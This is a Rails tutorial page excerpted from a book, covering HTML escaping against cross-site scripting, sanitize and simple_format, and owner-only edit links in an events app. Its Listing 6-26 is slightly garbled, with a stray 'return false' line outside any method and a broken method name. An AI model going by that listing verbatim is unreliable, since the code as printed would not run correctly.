Home arrow Ruby-on-Rails arrow Handling HTML in Templates with Action Pack

Handling HTML in Templates with Action Pack

In this seventeenth part of an eighteen-part series on the Action Pack library for Rails, you'll learn how and why to escape HTML in templates, and more. This article is excerpted from chapter six of the book Beginning Rails: From Novice to Professional, written by Jeffery Allan Hardy, Cloves Carneiro Jr. and Hampton Catlin (Apress; ISBN: 1590596862).

Author Info:
By: Apress Publishing
Rating: 5 stars5 stars5 stars5 stars5 stars / 2
August 04, 2011
  1. · Handling HTML in Templates with Action Pack
  2. · Adding Custom Helpers

print this article

Handling HTML in Templates with Action Pack
(Page 1 of 2 )

Escaping HTML in Templates

You should always escape any HTML before displaying it in your views to prevent malicious users from injecting arbitrary HTML into your pages (which is how cross-site scripting attacks are often carried out). The rule of thumb is that whenever you have data that is provided by the user, you canít trust it blindly. You need to escape it. This includes your model attributes, as well as parameters. Fortunately, escaping is easy to do.

While not technically a Rails helper, ERb provides a utility method to escape entities in HTML called escape_html . Itís aliased to h for short, and itís easy to use. Hereís an example:

<%=h @event.title % > <%= link_to h(@event.title), event_url(event) %>

Letís update the _event.rhtml partial to make sure everything is properly escaped, as shown in Listing 6-24.

Listing 6-24. HTML Escaping Added in app/views/events/_event.rhtml

<div class="event item"> <h3 class="title"><%= link_to h(event.title), event_url(event) %></h3> <ul>

<li><%=h event.occurs_on %></li>

<li><%=h event.location %></li> </ul> <div class="description">

<%=h event.description %> </div> </div>

Formatting a Description Field

While weíre working with the _event partial, letís improve the display of the description field. One of the aforementioned text helpers is the simple_format helper. The simple_ format helper converts text to HTML using simple formatting rules. Two or more consec utive newlines are considered as a paragraph and wrapped in <p> tags. One newline is considered as a line break and a <br /> tag is appended. Weíll also use the sanitize helper to make sure there are no gremlins in the description before we format it. Listing 6-25 shows the additions.

Listing 6-25. Formatting Helpers Added in app/views/events/_event.rhtml

<div class="description"> <%= simple_format(sanitize(event.description)) %> </div>

Adding Edit Controls

Weíve applied our authentication filters, but we still donít have a way to prevent users from editing or deleting events that belong to other users. To do this, weíll add a method to the Event model that can tell us whether the event in question is owned by the user we pass in. When weíre finished, weíll be able to ask an event whether itís owned by the current user. Open the Event model and add the owned_by? method, as highlighted in bold in Listing 6-26.

Listing 6-26. Updated app/models/event.rb

class Event < ActiveRecord::Base

belongs_to :user

has_many :registrations

has_many :attendees, :through => :registrations, :source => :user

has_and_belongs_to_many :categories

validates_presence_of :title, :location

after_create :ensure_owner_attends

validate :has_not_occurred

def is_in_the_past ? occurs_on < Date.today end

def long_title "#{title} - #{location} - #{occurs_on}" end

def owned_by?(owner) return false unless owner.is_a? User

user == owner end

protected def ensure_owner_attends unless attendees.include? user attendees << user end end

return false unless owner.is_a? User

def has_not_occurred errors.add("occurs_on", "is in the past") if occurs_on && is_in_the_past? end end

Now letís make use of this method in the _event partial by adding links to edit or delete an event only if itís owned by the currently logged-in user, as shown in Listing 6-27.

Listing 6-27. Links Added in app/views/events/_event.rhtml

<% if event.owned_by? current_user %>

<p> <%= link_to 'edit', edit_event_url(event) %> | <%= link_to('delete', {:action => 'destroy', :id => event},

:method => 'delete', :confirm => 'Really?') %> </p> <% end %>

The final event partial is show in Listing 6-28.

Listing 6-28. Complete Event Partial in app/views/events_event/rhtml

<div class="event item"> <h3 class="title"><%= link_to h(event.title), event_url(event) %></h3>

<% if event.owned_by? current_user %>

<p> <%= link_to 'edit', edit_event_url(event) %> | <%= link_to('delete', {:action => 'destroy', :id => event},

:method => 'delete', :confirm => 'Really?') %> </p> <% end %>

<ul> <li><%=h event.occurs_on %></li> <li><%=h event.location %></li>


<div class="description"> <%= simple_format(sanitize(event.description)) %> </div> </div>

blog comments powered by Disqus

- Ruby-on-Rails Faces Second Security Flaw in ...
- Ruby 2.0 Prepped for February 2013 Release
- Why LinkedIn Switched from Ruby on Rails
- Adding Style with Action Pack
- Handling HTML in Templates with Action Pack
- Filters, Controllers and Helpers in Action P...
- Action Pack and Controller Filters
- Action Pack Categories and Events
- Logging Out, Events and Templates with Actio...
- Action Pack Sessions and Architecture
- More on Action Pack Partial Templates
- Action Pack Partial Templates
- Displaying Error Messages with the Action Pa...
- Action Pack Request Parameters
- Creating an Action Pack Registration Form

Watch our Tech Videos 
Dev Articles Forums 
 RSS  Articles
 RSS  Forums
 RSS  All Feeds
Write For Us 
Weekly Newsletter
Developer Updates  
Free Website Content 
Contact Us 
Site Map 
Privacy Policy 

Developer Shed Affiliates


© 2003-2019 by Developer Shed. All rights reserved. DS Cluster - Follow our Sitemap
Popular Web Development Topics
All Web Development Tutorials